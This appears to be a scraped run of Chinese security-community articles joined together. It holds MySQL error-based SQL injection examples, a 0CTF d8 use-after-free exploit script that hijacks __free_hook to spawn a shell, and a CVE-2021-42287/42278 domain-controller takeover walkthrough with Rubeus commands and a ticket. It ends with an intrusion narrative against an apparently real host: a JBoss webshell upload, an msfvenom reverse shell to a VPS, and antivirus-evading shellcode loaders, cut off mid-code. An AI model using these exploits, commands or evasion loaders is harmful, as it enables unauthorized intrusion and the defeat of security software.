根据[官方文档](https://dev.mysql.com/doc/refman/5.7/en/miscellaneous-functions.html#function_name-const)，name_const函数要求参数必须是常量，所以实际使用上还没找到什么比较好的利用方式。
利用这个特性加上join函数可以爆列名：
mysql> select * from(select * from test a join test b)c;
ERROR 1060 (42S21): Duplicate column name 'id'
mysql> select * from(select * from test a join test b using(id))c;
ERROR 1060 (42S21): Duplicate column name 'name'
### 几何函数
mysql有些几何函数，例如geometrycollection()，multipoint()，polygon()，multipolygon()，linestring()，multilinestring()，这些函数对参数要求是形如(1
2,3 3,2 2 1)这样几何数据，如果不满足要求，则会报错。经测试，在版本号为5.5.47上可以用来注入，而在5.7.17上则不行：
5.5.47
mysql> select multipoint((select * from (select * from (select version())a)b));
ERROR 1367 (22007): Illegal non geometric '(select `b`.`version()` from ((select '5.5.47' AS `version()` from dual) `b`))' value found during parsing
5.7.17
mysql> select multipoint((select * from (select * from (select version())a)b));
ERROR 1367 (22007): Illegal non geometric '(select `a`.`version()` from ((select version() AS `version()`) `a`))' value found during parsing
参考资料：
<http://codecloud.net/60086.html>
<http://www.jinglingshu.org/?p=4507>
<http://www.thinkings.org/2015/08/10/bigint-overflow-error-sqli.html> | 社区文章 |
# 0CTF Chromium RCE WriteUp
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
萌新分析一下这次0CTF的Chromium RCE。有哪里分析的不对的地方欢迎大佬批评指正🙋♂️。
## 题目描述
It’s v8, but it’s not a typical v8, it’s CTF v8! Please enjoy pwning this d8 🙂
nc pwnable.org 40404
Enviroment: Ubuntu18.04
**Update:** If you want to build one for debugging, please
`git checkout f7a1932ef928c190de32dd78246f75bd4ca8778b`
做题的时候并没有太在意这个描述，解出来之后发现说的挺对的: D。hash是之后补上的，补之前还在纳闷怎么找是哪个版本…
## Patch
关于搭建环境的部分就略过了，可以参考之前的[文章](http:/blog.keenan.top/2019/11/05/Installing-V8-on-Ubuntu19-04/)。只要你有一个好用的代理这一步不成问题。
diff --git a/src/builtins/typed-array-set.tq b/src/builtins/typed-array-set.tq
index b5c9dcb261..babe7da3f0 100644
--- a/src/builtins/typed-array-set.tq
+++ b/src/builtins/typed-array-set.tq
@@ -70,7 +70,7 @@ TypedArrayPrototypeSet(
// 7. Let targetBuffer be target.[[ViewedArrayBuffer]].
// 8. If IsDetachedBuffer(targetBuffer) is true, throw a TypeError
// exception.
- const utarget = typed_array::EnsureAttached(target) otherwise IsDetached;
+ const utarget = %RawDownCast<AttachedJSTypedArray>(target);
const overloadedArg = arguments[0];
try {
@@ -86,8 +86,7 @@ TypedArrayPrototypeSet(
// 10. Let srcBuffer be typedArray.[[ViewedArrayBuffer]].
// 11. If IsDetachedBuffer(srcBuffer) is true, throw a TypeError
// exception.
- const utypedArray =
- typed_array::EnsureAttached(typedArray) otherwise IsDetached;
+ const utypedArray = %RawDownCast<AttachedJSTypedArray>(typedArray);
TypedArrayPrototypeSetTypedArray(
utarget, utypedArray, targetOffset, targetOffsetOverflowed)
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index 117df1cc52..9c6ca7275d 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -1339,9 +1339,9 @@ MaybeLocal<Context> Shell::CreateRealm(
}
delete[] old_realms;
}
- Local<ObjectTemplate> global_template = CreateGlobalTemplate(isolate);
Local<Context> context =
- Context::New(isolate, nullptr, global_template, global_object);
+ Context::New(isolate, nullptr, ObjectTemplate::New(isolate),
+ v8::MaybeLocal<Value>());
DCHECK(!try_catch.HasCaught());
if (context.IsEmpty()) return MaybeLocal<Context>();
InitializeModuleEmbedderData(context);
@@ -2260,10 +2260,7 @@ void Shell::Initialize(Isolate* isolate, D8Console* console,
v8::Isolate::kMessageLog);
}
- isolate->SetHostImportModuleDynamicallyCallback(
- Shell::HostImportModuleDynamically);
- isolate->SetHostInitializeImportMetaObjectCallback(
- Shell::HostInitializeImportMetaObject);
+ // `import("xx")` is not allowed
#ifdef V8_FUZZILLI
// Let the parent process (Fuzzilli) know we are ready.
@@ -2285,9 +2282,9 @@ Local<Context> Shell::CreateEvaluationContext(Isolate* isolate) {
// This needs to be a critical section since this is not thread-safe
base::MutexGuard lock_guard(context_mutex_.Pointer());
// Initialize the global objects
- Local<ObjectTemplate> global_template = CreateGlobalTemplate(isolate);
EscapableHandleScope handle_scope(isolate);
- Local<Context> context = Context::New(isolate, nullptr, global_template);
+ Local<Context> context = Context::New(isolate, nullptr,
+ ObjectTemplate::New(isolate));
DCHECK(!context.IsEmpty());
if (i::FLAG_perf_prof_annotate_wasm || i::FLAG_vtune_prof_annotate_wasm) {
isolate->SetWasmLoadSourceMapCallback(ReadFile);
diff --git a/src/parsing/parser-base.h b/src/parsing/parser-base.h
index 3519599a88..f1ba0fb445 100644
--- a/src/parsing/parser-base.h
+++ b/src/parsing/parser-base.h
@@ -1907,10 +1907,8 @@ ParserBase<Impl>::ParsePrimaryExpression() {
return ParseTemplateLiteral(impl()->NullExpression(), beg_pos, false);
case Token::MOD:
- if (flags().allow_natives_syntax() || extension_ != nullptr) {
- return ParseV8Intrinsic();
- }
- break;
+ // Directly call %ArrayBufferDetach without `--allow-native-syntax` flag
+ return ParseV8Intrinsic();
default:
break;
diff --git a/src/parsing/parser.cc b/src/parsing/parser.cc
index 9577b37397..2206d250d7 100644
--- a/src/parsing/parser.cc
+++ b/src/parsing/parser.cc
@@ -357,6 +357,11 @@ Expression* Parser::NewV8Intrinsic(const AstRawString* name,
const Runtime::Function* function =
Runtime::FunctionForName(name->raw_data(), name->length());
+ // Only %ArrayBufferDetach allowed
+ if (function->function_id != Runtime::kArrayBufferDetach) {
+ return factory()->NewUndefinedLiteral(kNoSourcePosition);
+ }
+
// Be more permissive when fuzzing. Intrinsics are not supported.
if (FLAG_fuzzing) {
return NewV8RuntimeFunctionForFuzzing(function, args, pos);
patch中比较关键的部分就是关于Attached检查的部分：
- const utarget = typed_array::EnsureAttached(target) otherwise IsDetached;
+ const utarget = %RawDownCast<AttachedJSTypedArray>(target);
可以看到原本的代码是有检查的，修改之后变成了默认都是Attached的状态。
之后的patch主要是避免非预期，例如删去了import的功能，还有就是删去了`--allow-native-syntax`的支持，这样%DebugPrint和%SystemBreak都不可以使用了。但是%ArrayBufferDetach是可以直接使用的。估计题目附件中的d8是一个阉割版的debug
version。
## Vuln
首先验证一下read
import等非预期解法是不可行的。事实上在题目环境中，直接读flag文件是不可能的，只有root权限可以读，但是提供了一个suid的readflag可执行文件，这就相当于强迫要求拿到rce。
为了方便调试，可以删去对`--allow-native-syntax`的patch，这样就可以快乐debug了。
漏洞点还是很明显的，显然在于是否是Attached的状态的混用。
正常情况下，我们去声明一个Uint8Array，这是一个typed array，其有对应的buffer，如：
var a = new Uint8Array(0x200);
// a.buffer: chunk on glibc heap space
这里的a.buffer就是我们熟知的ArrayBuffer。其对应的内存空间也就是ArrayBuffer的backing_store指针指向的空间，用gdb调一下就知道，该空间是glibc的堆空间上的一个堆块。当我们使用%ArrayBufferDetach去detach一个buffer时，该buffer也就被释放掉了，也就是backing_store指向的堆块被释放掉了。由于环境是ubuntu
1804，该堆块也就进入tcache了。
var a = new Uint8Array(0x200);
%ArrayBufferDetach(a.buffer); // into tcache
而在之前的patch中，删去了对于是否是Attached状态的检查，默认都是Attached。这样我们就可以读写freed chunk了！
> It’s v8, but it’s not a typical v8, it’s CTF v8! Please enjoy pwning this d8
> 🙂
确实，你以为我是browser pwn，其实我是glibc heap哒。
## Exploit
利用起来就比较容易了。
第一步，泄露地址。释放大的堆块进入unsortedbin，读取array，可以拿到堆地址和libc地址。
第二步，tcache
dup改hook。同样用uaf把tcache的fd改为free_hook。有一个坑点在于，ArrayBuffer在分配的时候使用calloc分配的，但是calloc不用tcache。可以找到这样的写法使得Array使用malloc分配内存：
let a = {};
a.length = size; // malloc的大小
return new Uint8Array(a);
这样就可以使用malloc了，拿到free_hook的array，写入system地址。
第三步：用%ArrayBufferDetach释放一个保存了`/bin/sh`字符串的array。相当于执行`system('/bin/sh')`
完整exploit脚本：
function gc(){
for(var i = 0; i < 1024 * 1024* 16; i++){
new String;
}
}
function f2i(f){
float64 = new Float64Array(1);
float64[0] = f;
int32 = new Uint32Array(float64.buffer);
return int32[1] * 0x100000000 + int32[0];
}
function i2f(i){
int32 = new Uint32Array(2);
int32[1] = i / 0x100000000;
int32[0] = i % 0x100000000;
float64 = new Float64Array(int32.buffer);
return float64[0];
}
function hex(i){
return '0x'+i.toString(16).padStart(16, '0');
}
// ArrayBuffer use calloc so tcache won't be used
function calloc(size){
var a = new Uint8Array(size);
return a;
}
function malloc(size){
var a = {};
a.length = size;
var b = new Uint8Array(a);
return b;
}
// free(array.buffer)
function free(a){
return %ArrayBufferDetach(a);
}
function b2i(a){
var b = new BigUint64Array(a.buffer);
return b[0];
}
/* function check for malloc/calloc/free
var c0 = calloc(0x200);
%DebugPrint(c0.buffer);
free(c0.buffer);
%SystemBreak();
var c1 = malloc(0x200);
%DebugPrint(c1.buffer);
%SystemBreak();
*/
// try to free a binsh chunk
// binsh: 2f62696e2f7368
var binsh_chunk = new Uint8Array(0x200);
binsh_chunk[7] = 0x00;
binsh_chunk[6] = 0x68;
binsh_chunk[5] = 0x73;
binsh_chunk[4] = 0x2f;
binsh_chunk[3] = 0x6e;
binsh_chunk[2] = 0x69;
binsh_chunk[1] = 0x62;
binsh_chunk[0] = 0x2f;
//%DebugPrint(binsh_chunk.buffer);
var overchunk = calloc(0x3000);
var c0 = calloc(0x800);
var c1 = calloc(0x800);
//%DebugPrint(c0.buffer);
//%DebugPrint(c1.buffer);
free(c0.buffer);
free(c1.buffer);
//%SystemBreak();
overchunk.set(c1);
var heap_leak = b2i(overchunk.slice(0, 8));
var libc_leak = b2i(overchunk.slice(8, 16)); // main_arena+96
console.log('libc_leak: '+hex(libc_leak));
var libc_base = libc_leak-0x00007f7f8e78dca0n+0x7f7f8e3a2000n
console.log('libc_base: '+hex(libc_base));
/*
========== function ==========
system:0x4f440
execve:0xe4e30
open:0x7a0ce0
read:0x7a0340
write:0x7a0270
gets:0x800b0
setcontext+0x35:0x520a5
========== variables ==========
__malloc_hook(0x3ebc30) : 0x0000000000000000
__free_hook(0x3ed8e8) : 0x0000000000000000
__realloc_hook(0x3ebc28) : 0x00007fc640ebb790
stdin(0x3ec850) : 0x00007fc64120ea00
stdout(0x3ec848) : 0x00007fc64120f760
_IO_list_all(0x3ec660) : 0x00007fc64120f680
__after_morecore_hook(0x3ed8e0) : 0x0000000000000000
*/
var free_hook = libc_base+0x3ed8e8n
console.log('free_hook: '+hex(free_hook));
var system = libc_base+0x4f440n
console.log('system: '+hex(system));
// tcache dup to free_hook
var c2 = calloc(0x200);
var c3 = calloc(0x200);
%DebugPrint(c3.buffer);
free(c2.buffer);
free(c3.buffer);
function i2l(i){
var b = new Uint8Array(BigUint64Array.from([i]).buffer);
return b;
}
c3.set(i2l(free_hook)); // fd->free_hook
// change free_hook to system
var c4 = malloc(0x200);
var c5 = malloc(0x200); // got free_hook
c5.set(i2l(system)); // free_hook = system
console.log('Trigger!')
free(binsh_chunk.buffer);
//%SystemBreak();
前面gc几个函数没用到，可以删掉。
## 后记
在之前做过的题目中，有oob有jit，就是没有uaf，这次齐全了。看起来UAF的利用要更简单，没有addrof
fakeobj之类的步骤（仅这道题目而言）。如果是其他的object，有虚表的话直接覆盖函数指针也是极好的，这也是最开始的思路。
不过比赛的时候也就止步于此了 : D， 后边的SBX应该需要编译Chrome，估计磁盘不够用。FullChain需要SBX作为前置步骤。
这个题目其实是这次Pwn中最简单的。大佬们2个小时就做出来了，可见是有多熟练…
总共11道PWN题目，其中5道题目是browser/js的题目，看来是要引领一波浏览器的浪潮了。期待看到更多的d8伯😃。 | 社区文章 |
# CVE-2021-42287/CVE-2021-42278 Windows域提权漏洞分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
这两天Log4j的余波还未过去，就看到windows爆了个提权漏洞，从域用户直接到域控（从此翻身做主人了），趁热学习一下。
## 0x01 环境搭建
### 0x1 域环境
域环境
AD：192.168.1.2
win7：192.168.1.3
### 0x2 域用户配置
**1.创建域用户**
**2.配置域用户远程登陆权限**
这里有个小坑，如果不配置这个设置的话，将无法通过远程桌面访问域内主机，需要配置的点有两个，一个是DC上配置testuser1到Remote Desktop
Users组
第二步是到域内主机上添加testuser1到允许登陆的账户
最终效果如下
## 0x02 漏洞复现及原理分析
### 0x1 python脚本复现
复现完了发现没有能够弹回来shell，去git上看到如下issue，脚本在ubuntuserver上执行的，从目前的结果来看是成功的拿到了DC的ticket
### 0x2 原理分析
**1.Kerberos 基础概念**
复现到这可以看到这个漏洞的核心其实是以一个普通域用户来冒充DC拿到DC的ticket，进而实现对DC的仿冒，完成提权的操作。上述过程的核心是获取DC的ticket，这里简述一下ticket的概念
在域环境中，Kerberos协议被用来作身份认证，上图所示即为一次简单的身份认证流程，具体细节可以参考相关资料，这里仅介绍几个名词：
* KDC(Key Distribution Center)： 密钥分发中心，里面包含两个服务：AS和TGS
* AS(Authentication Server)： 身份认证服务
* TGS(Ticket Granting Server)： 票据授予服务
* TGT(Ticket Granting Ticket): 由身份认证服务授予的票据，用于身份认证，存储在内存，默认有效期为10小时
> TGT票据包含 Client/TGS Session Key （AS 生成的随机字符串）、 Client Info（PAC？） 和 Timestamp
> TGT票据由TGS 密钥(krbtgt 用户的 NTLM Hash)进行加密，用户无法解密。
* ST(Server Ticket) 服务端票据，用户使用该票据请求对应的服务，通过验证后获得服务访问权限
* Pass The Ticket： 如果我们能够拿到用户的TGT，并将其导入到内存，就可以冒充该用户获得其访问权限
网上很多版本的kerberos的流程（上面记录的流程）是
1.用户向KDC发起AS_REQ,请求凭据是用户hash加密的时间戳，KDC使用用户hash进行解密，如果结果正确返回用krbtgt
hash加密的TGT票据
2.用户凭借TGT票据向KDC发起针对特定服务的TGS_REQ请求，KDC使用krbtgt hash进行解密，如果结果正确，就返回用服务hash
加密的TGS票据
3.用户拿着TGS票据去请求服务，服务使用自己的hash解密TGS票据。如果解密正确，就允许用户访问。
上面这个流程看起来没错，却忽略一个最重要的因素，那就是用户有没有权限访问该服务，在上面的流程里面，只要用户的hash正确，那么就可以拿到TGT，有了TGT，就可以拿到TGS，有了TGS，就可以访问服务，任何一个用户都可以访问任何服务。也就是说上面的流程解决了”Who
am i?”的问题，并没有解决 “What can I do?”的问题。
为了解决上面的这个问题，微软引进了PAC，引进PAC之后的kerberos流程变成
用户向KDC发起AS_REQ,请求凭据是用户hash加密的时间戳，KDC使用用户hash进行解密，如果结果正确返回用krbtgt
hash加密的TGT票据，TGT里面包含PAC,PAC包含用户的sid，用户所在的组。
1.用户凭借TGT票据向KDC发起针对特定服务的TGS_REQ请求，KDC使用krbtgt hash进行解密，如果结果正确，就返回用服务hash
加密的TGS票据(这一步不管用户有没有访问服务的权限，只要TGT正确，就返回TGS票据，这也是kerberoating能利用的原因，任何一个用户，只要hash正确，可以请求域内任何一个服务的TGS票据，具体内容可以参考[Windows内网协议学习Kerberos篇之TGSREQ&
TGSREP](https://www.anquanke.com/post/id/190625))
2.用户拿着TGS票据去请求服务，服务使用自己的hash解密TGS票据。如果解密正确，就拿着PAC去KDC那边询问用户有没有访问权限，域控解密PAC。获取用户的sid，以及所在的组，再判断用户是否有访问服务的权限，有访问权限(有些服务并没有验证PAC这一步，这也是白银票据能成功的前提，因为就算拥有用户hash，可以制作TGS，也不能制作PAC，PAC当然也验证不成功，但是有些服务不去验证PAC，这是白银票据成功的前提）就允许用户访问。
特别说明的是，PAC对于用户和服务全程都是不可见的。只有KDC能制作和查看PAC。
**2.换个说法讲Kerberos流程**
一个 **认证服务器（Authentication Server，简称
AS）：验证Client端的身份（确定你是身份证上的本人），验证通过就会给一张票证授予票证（Ticket Granting Ticket，简称 TGT）给
Client。**
一个 **票据授权服务器（Ticket Granting Server，简称 TGS）：通过 TGT（AS 发送给 Client 的票）获取访问
Server 端的票（Server Ticket，简称 ST）。ST（Service Ticket）也有资料称为 TGS Ticket。**
**3.漏洞原理**
* CVE-2021-42278，机器账户的名字一般来说应该以`$`结尾，但AD没有对域内机器账户名做验证。
该漏洞就导致了AS会以签发一个机器名末尾不以$结尾的TGT（伪装域控主机名的TGT）
正常域控TGT内Client info里的机器名信息比如说时 MachineName$
该漏洞伪造的域控TGT内的Client info内的机器名信息就是 MachineName（并不合法）
因为TGT本身是被KDC用TGS 密钥进行加密的，因此当后续用户使用TGT向TGS请求服务票据时TGS是信任TGT内的信息的。
* CVE-2021-42287，与上述漏洞配合使用，该漏洞核心在于： **当请求服务 ST 的账户没有被 KDC 找到时，KDC 会自动在尾部添加**`**$**` **重新搜索** 。创建与DC机器账户名字相同的机器账户（不以$结尾），账户请求一个TGT后，更名账户，然后通过S4U2self申请TGS Ticket，接着DC在`TGS_REP`阶段，这个账户不存在的时候，DC会使用自己的密钥加密`TGS Ticket`，提供一个属于该账户的`PAC`，然后我们就得到了一个高权限ST。
在请求到TGT之后，攻击者将机器名修改为其他机器名，然后用该TGT向TGS请求S4U2self服务，这里要先理解ST票据生成的流程才能明白攻击得以完成的原因。
**TGS_request 、TGS_reply**
**TGS-REQ（请求）：**
当TGS服务收到到client请求体KRB_TGS_REQ时，因为TGS端并没有session key，只能先利用TGS 密钥(krbtgt 的 NTLM
Hash)去解TGT部分内容，得到session key，再去解Session key(client
info+时间戳)部分，从而验证该用户是否是AS颁发给该client的。验证通过后，给client回复KRB_TGS_REP给client
**TGS-REP（返回）：**
TGS 收到请求后，检查 KDC 数据库中是否存在所请求的服务(Service ID)。如果存在，TGS 使用 TGS 密钥(krbtgt 的 NTLM
Hash)解密 TGT，得到 Client/TGS Session Key、timestamp、Client info；同时使用从 TGT 中解密得到的
Client/TGS Session Key去解密 Authenticator2，得到 Client info 和 timestamp。比对
Authenticator2 和TGT 的解密内容以验证通过。
* TGS 比对 Authenticator2 包含的 Client ID 和 TGT 中的 Client ID
* 比较时间戳（误差范围在2分钟）
* 通过生命周期字段检查 TGT 是否过期
* 检查 Authenticator2 是否在 TGS 的缓存中
* 若原始请求中的网络地址不为 NULL，比较 TGT 中的 IP 和请求的 IP
验证成功后，随机生成 Client 所请求服务的会话密钥 Client/Server Session Key；
使用 **Server 密钥（即服务器计算机的NTLM Hash）** 对 Client/Server Session Key、Client Info（包含
Client ID）、TimeStamp 加密得到 Client-To-Server Ticket（也称为 **ST** ）；
使用 Client/TGS Session Key 对 Client/Server Session Key 加密得到sessionkey_tgs
最终将 Client-To-Server Ticket、sessionkey_tgs 返回给 Client。
* * *
域控机器名：MachineName$
伪造机器名：MachineName
介绍完ST票据，其实漏洞的核心点也已经触手可及了，当TGS使用TGS密钥对用户发送过来的TGT进行解密后，获取到了机器名：MachineName，同时由于用户请求的是S4U2self服务，因此需要用机器名对应的密钥（即主机自身的密钥）来对ST进行加密，然而我们已经将主机名修改为了其他名称，此时域内是不存在MachineName的机器名的，因此TGS自行在MachineName后添加了
$
符号，再次在机器名列表中进行搜索，域控的机器名与之匹配，于是TGS就使用了MachineName$（也就是域控）的密钥加密了S4U2self的ST发给了用户，当用户使用该ST去访问域控时就获取了域控的控制权。
这里关于PAC的其实还有写不清楚的地方，看其他的分析里说法是TGS在利用域控的密钥对ST进行加密的时候就顺便提供了域控账户的PAC到ST中，从而使得域控在使用自身密钥解密ST后，通过了向TGS验证PAC有效性的过程。（没有深究了）
### 0x3 手动复现
假如域内有一台域控名为 DC（域控对应的机器用户为 DC），此时攻击者利用漏洞 CVE-2021-42287 创建一个机器用户
saulGoodman，再把机器用户 saulGoodman$ 的 sAMAccountName 改成 DC（伪）。然后利用 DC（伪）
去申请一个TGT票据。再把 DC 的sAMAccountName 改为 saulGoodman。这个时候 KDC 就会判断域内没有 DC
（伪）和这个用户，自动去搜索 DC（DC$是域内域控DC（真） 的 sAMAccountName），攻击者利用刚刚申请的 TGT 进行
S4U2self，模拟域内的域管去请求域控 DC（真） 的 ST 票据，最终获得域控制器DC的权限。
注意复现过程中使用了 powerspolit 和 Rubeus 两个工具
**1.创建本地机器账户**
$password = ConvertTo-SecureString 'ComputerPassword' -AsPlainText -Force
New-MachineAccount -MachineAccount "ControlledComputer" -Password $($password) -Domain "settest.com" -DomainController "administrator.sectest.com" -Verbose
最开始执行上述两条指令时出错，尝试使用ps脚本添加，发现当前用户不能执行ps脚本
尝试使用 `set-executionpolicy remotesigned` 解除限制时发现需要管理员账户，姑且用管理账户解开该限制
# 脚本创建
powershell
Set-ExecutionPolicy Bypass -Scope Process
Import-Module .\Powermad.ps1
# 运行完后需要输入一下密码：12345678（可任意密码）
New-MachineAccount -MachineAccount saulgoodman -Domain sectest.com -DomainController administrator.sectest.com -Verbose
# 验证是否添加成功
net group "domain computers" /domain
但是在执行添加账户指令时发现如下报错，查看报错脚本对应位置
由于是LDAP服务相关的错误，且在DC上查看 389
端口正常，因此猜测问题出在参数上，向上回溯发现可能是DomainController参数出现的问题，根据代码逻辑发现如果不指定该参数的话，脚本会自行补全。
删除 DomainController 参数后执行
成功添加本地机器账户
**2.清除SPN信息**
# 导入一下 PowerView.ps1
Import-Module .\PowerView.ps1
Set-DomainObject "CN=saulgoodman,CN=Computers,DC=redteam,DC=red" -Clear 'serviceprincipalname' -Verbose
这里才发现，上面用到的脚本其实是git上一个专门用于域渗透的项目（PowerSploit）里提供的功能，用到对应的功能的时候就将对应的ps脚本上传到主机上，最终执行结果如下
**3.重设机器名称**
这里开始利用CVE-2021-42278漏洞仿冒DC机器名
# 修改当前机器名称为DC机器名
Set-MachineAccountAttribute -MachineAccount saulgoodman -Value "WIN-E13FAE6DQB9" -Attribute samaccountname -Verbose
**4.请求TGT**
使用仿冒的用户名请求AS时，因为漏洞的原因 username 和 username$ 被认为是同一个账户，因此返回了username$ 的 TGT
这里基本都用的是 <https://github.com/GhostPack/Rubeus>
的工具来完成的，此处就踩着前人的肩膀了，尽量避免踩坑，查看git才发现这玩意还要自己编译
./Rubeus.exe asktgt /user:WIN-E13FAE6DQB9 /password:12345678 /domian:sectest.com /dc:WIN-E13FAE6DQB9.sectest.com /nowrap
**5.恢复原机器名**
已经获取到TGT后将原机器账户名更改，使得第二个漏洞得以触发
Set-MachineAccountAttribute -MachineAccount saulgoodman -Value "saulgoodman1" -Attribute samaccountname -Verbose
**6.Request S4U2self（获取DC票据）**
通过S4U2self申请TGS Ticket，接着DC在`TGS_REP`阶段，这个账户不存在的时候，DC会使用自己的密钥加密`TGS
Ticket`，提供一个属于该账户的`PAC`，然后我们就得到了一个高权限ST
./Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"ldap/WIN-E13FAE6DQB9.sectest.com" /dc:"WIN-E13FAE6DQB9.sectest.com" /ptt /ticket:doIFMjCCBS6gAwIBBaEDAgEWooIEQzCCBD9hggQ7MIIEN6ADAgEFoQ0bC1NFQ1RFU1QuQ09NoiAwHqADAgECoRcwFRsGa3JidGd0GwtzZWN0ZXN0LmNvbaOCA/0wggP5oAMCARKhAwIBAqKCA+sEggPnE291dHjoyQEYfUdVYVz9JLJHj3Ocv0isIBskmG8TxiPbmztewf4kno7c079VnLO3yaQvtD2JcmsZHJelTE1HZBQrEvbj73rvR9ruCQbyE7WuwzTLhPTBBg7lxm8guQh9uYb5VlvrfAgdXevNbyveWf9HSFzanqunLN13hckRsSr+UOUXsl0aYRMv/o0gmLpUT7GRqDXvAMPlTn35EUoRAJVPIObJJ+5TJsV8uzmCu2bBtrtGd5UBoblm4P09nn1KAxXTr0mvOil1j7aRXNKiUn8e5MHfYgELBb9k4eiHm5sLL6HTiEdWt3p/rANUzLnDUisSl9w3h4xiW+IK2eZIRVoVq2GtkrW1vButy+DUJ8T61XD/50E4MfoeOFgiJurzq7n3i2qdgFmYE5xDqvS2xK12WCbxZoTjq6h4s5Cu9QvR0zN73bSIAkIKtkY1tiiKr5G04e2WBIlsWc6rdgnOUGLlEOScnFP5cdERkkppvUayiEGYmiKeFUQA9R6/jHHDBNHJzwnEu+Z8jvNrqsbUEsb9hglsThI01TxRyF9lpLqkUZhTlZ9jEVk5vTl9l7JIrqbuS+ymRcTUAMWj9/8t+rNZKNbWnpk8sedsvPV12ni4QD5Hw1QD+oVJkDzqiYzlHTpE0wtvOVsPEm+M2kFdgV5e6/DEgpOvJNFOQsSrhh2keFs1QTwSJyngODQLrcdeRdWrn8I7FJUxByeLG1jexs10XsCEBwiKde9YUXvaYxVcr7Sr6AW4VTbdhEmqIvARFJW8cTwkghHRK2PGhtjbbJNOA+uafXP0t/Z5qTE5tT5Nj+sDWnnxZu1ikAXQJTce9uAiVfN6NcA9YzUMEEir2ORq1NGSpr+rTfB0NDlpZK2AA6nYVrbC2CdpscgokN1FC48rYt7Qrcoc8kvYR95TaXMGNP2WSRiChdtGB3T5IjIHsvsAKzW8Gzcbdna1oxBp0fACogzLQ3W5SCdn7xOO6DcDRjMHPYemtFTnj4C5YVi4FkdZ9GNhldIm60ImzFpBgrFeut0lthfOnwYyianRNIpHuT50vz9Z+mW4eO9GRzHPGmpo/ns+8T6mKWy9VdOF0eZ77lm0sAtJckPlFgv9VWcS2bfwGeqcDvJctHpSmIL/zSpWjKrZUlknytLZoNAIWk4lDivScUn5+y6pH6vsxjG5Oa3CsIGgAhhXfcztJ0JyFY5apeMhm40Ye5Eyr5aUJf0srju7Q1wIAolWcH+wNqJWa0kiQlb/oxhyrBhIXMV539N2/ZOzrSXYJUSzJGYmp1xVvV2yAyCM62G5nAW4VJwYXj1cANwGzLzdLgeGF0dcEMjFzbEjo4HaMIHXoAMCAQCigc8Egcx9gckwgcaggcMwgcAwgb2gGzAZoAMCARehEgQQgpOpL4DhG9V2R3y2rAIeWaENGwtTRUNURVNULkNPTaIcMBqgAwIBAaETMBEbD1dJTi1FMTNGQUU2RFFCOaMHAwUAQOEAAKURGA8yMDIxMTIxNDE2MzY0NFqmERgPMjAyMTEyMTUwMjM2NDRapxEYDzIwMjExMjIxMTYzNjQ0WqgNGwtTRUNURVNULkNPTakgMB6gAwIBAqEXMBUbBmtyYnRndBsLc2VjdGVzdC5jb20=
**7.验证TGT**
## 参考链接
<https://blog.csdn.net/weixin_43760829/article/details/89437363>
[https://myzxcg.com/2021/08/域用户与域成员机器关系及利用/](https://myzxcg.com/2021/08/%E5%9F%9F%E7%94%A8%E6%88%B7%E4%B8%8E%E5%9F%9F%E6%88%90%E5%91%98%E6%9C%BA%E5%99%A8%E5%85%B3%E7%B3%BB%E5%8F%8A%E5%88%A9%E7%94%A8/)
<https://juejin.cn/post/6844903955416219661>
<https://mp.weixin.qq.com/s/Z3mI5eEc8-iudqdU7EZ3EQ>
<https://www.anquanke.com/post/id/190625>
<https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html>
<https://github.com/WazeHell/sam-the-admin>
[https://wooyun.js.org/drops/域渗透——Pass The
Ticket.html](https://wooyun.js.org/drops/%E5%9F%9F%E6%B8%97%E9%80%8F%E2%80%94%E2%80%94Pass%20The%20Ticket.html)
<https://www.anquanke.com/post/id/192810>
<https://www.cnblogs.com/0x7e/p/13862453.html> | 社区文章 |
* 一、外围入手
拿到ip后先信息收集，扫描端口：
8087开放，访问：
好，用脚本试试POST：
好吧，暂且不管，试试8082：发现
这个好，直接jboss，一般可先尝试弱口令后台部署war包，后门文件进行压缩，改名为“.war”：
但后台访问发现不存在：
那好，试试jmx-console，好的嘛：
使用未授权Deploy漏洞：访问
`asp http://150.*.*.*:8082/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository`，
分别在store后面参数处填写后门war文件名，文件夹名称，后门文件后缀和后门文件内容：
点击invoke，访问：
* 二、初步控制
为空白说明后门文件解析成功，使用蚁剑连接：
好的嘛，再信息收集一波，ip配置发现存在域：
当前用户发现为“.p”结尾，按国外的命名习惯，一半是组长或者经理级别：
查看进程有无杀毒，使用tasklist然后进行对比：
不得了，竟然有大名鼎鼎的赛门铁克公司的诺顿和飞塔：
看来这次棘手了，接下来试试各种免杀手段上线cs。
* 三：绕过免杀
* 3.1 base64加密shellcode加载
参考Tide安全团队的免杀系列，使用base64生成：
msfvenom -p windows/meterpreter/reverse_http --encrypt base64 lhost=1*.1*.7*.3 lport=800 -f c > shell.c
然后在cs开启监听（ _._. _._ 为你vps地址）：
注意：这里msfconsole唯有windows/meterpreter/reverse_http和windows/meterpreter/reverse_https是对应cs监听器兼容的，区别在于：cs自生成后门首次请求stager连接字符较短，一般为四个字符，如“/t1ny”,msf
payload的为很长的字符，但上线不影响。
生成base64加密shellcode后，使用解密加载器：shellcode.c：
#include "base64.h"
unsigned char buf[] ="..你的shellcode";
int main(int argc, const char * argv[]) {
char str1[1000] = { 0 };
Base64decode(str1, buf);
char *Memory;
Memory = VirtualAlloc(NULL, sizeof(str1), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, str1, sizeof(str1));
((void(*)())Memory)();
return 0;
}
base64.c和base64.h可在tide公众号内容中找到，这里暂不列出。
最后gcc shellcode.c base64.c -o test.exe编译，上传：执行即可。
test.exe明明上传了：
刷新查看直接没了~，没错，诺顿就是这么强。
* 3.2 go语言加密shellcode执行
好吧，吸取上次直接消失的教训，本地搭建环境进行测试，这次试试go语言的shellcode混淆;
使用cs生成c语言的payload：
得到：
使用替换功能，将“\”换为：“,0”：
最后替换加载器中shellcode_buf = []byte部分内容：
package main
import (
"io/ioutil"
"os"
"syscall"
"unsafe"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
